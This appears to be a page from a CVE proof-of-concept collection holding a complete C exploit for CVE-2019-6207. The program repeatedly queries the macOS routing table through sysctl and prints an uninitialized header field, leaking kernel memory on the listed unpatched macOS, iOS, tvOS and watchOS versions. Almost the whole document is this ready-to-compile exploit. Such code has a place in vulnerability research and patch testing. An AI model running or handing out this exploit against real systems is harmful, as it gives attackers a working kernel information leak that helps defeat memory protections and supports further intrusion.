5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysctl.h>
#include <unistd.h>

struct rt_metrics {
  u_int32_t rmx_locks;     /* Kernel leaves these values alone */
  u_int32_t rmx_mtu;       /* MTU for this path */
  u_int32_t rmx_hopcount;  /* max hops expected */
  int32_t rmx_expire;      /* lifetime for route, e.g. redirect */
  u_int32_t rmx_recvpipe;  /* inbound delay-bandwidth product */
  u_int32_t rmx_sendpipe;  /* outbound delay-bandwidth product */
  u_int32_t rmx_ssthresh;  /* outbound gateway buffer limit */
  u_int32_t rmx_rtt;       /* estimated round trip time */
  u_int32_t rmx_rttvar;    /* estimated rtt variance */
  u_int32_t rmx_pksent;    /* packets sent using this route */
  u_int32_t rmx_state;     /* route state */
  u_int32_t rmx_filler[3]; /* will be used for T/TCP later */
};

struct rt_msghdr {
  u_short rtm_msglen;        /* to skip over non-understood messages */
  u_char rtm_version;        /* future binary compatibility */
  u_char rtm_type;           /* message type */
  u_short rtm_index;         /* index for associated ifp */
  int rtm_flags;             /* flags, incl. kern & message, e.g. DONE */
  int rtm_addrs;             /* bitmask identifying sockaddrs in msg */
  pid_t rtm_pid;             /* identify sender */
  int rtm_seq;               /* for sender to identify action */
  int rtm_errno;             /* why failed */
  int rtm_use;               /* from rtentry */
  u_int32_t rtm_inits;       /* which metrics we are initializing */
  struct rt_metrics rtm_rmx; /* metrics themselves */
};

int main(int argc, const char *argv[]) {
  printf("CVE-2019-6207 exploit to leak 4 bytes of arbitrary kernel memory\n"
         "Tested on MacOS 10.14.1, should works on:\n"
         "MacOS < 10.14.4 ; iOS < 12.2 ; tvOS < 12.2 ; watchOS < 5.2\n\n");

  int mib[6];
  mib[0] = CTL_NET;
  mib[1] = PF_ROUTE; // sysctl_rtsock
  mib[2] = 0;        // protocol number, could be anything
  mib[3] = 2;        // af = AF_INET = 2
  mib[4] = 1;        // w_op = NET_RT_DUMP = 1
  mib[5] = 0;        // w_flags = 0
  size_t len = 0;

  // Get the buffer length
  int error = sysctl(mib, sizeof(mib) / sizeof(mib[0]), NULL, &len, NULL, 0);
  if (error || !len) {
    printf("Error: sysctl_dumpentry() doesn't returned the buffer length\n");
    return 1;
  }
  printf("Buffer length = 0x%zx\n", len);

  uint8_t *buf = malloc(len);
  if (!buf) {
    printf("Error: malloc() failed\n");
    return 1;
  }

  // Trigger the memory leak
  while (1) {
    error = sysctl(mib, 6, buf, &len, NULL, 0);
    if (error) {
      printf("Error: sysctl() failed\n");
      return 1;
    }

    printf("rt_msghdr.rtm_inits (+0x%zX): 0x%08X\n",
           offsetof(struct rt_msghdr, rtm_inits),
           ((struct rt_msghdr *)buf)->rtm_inits);
    sleep(1);
  }

  return 0;
}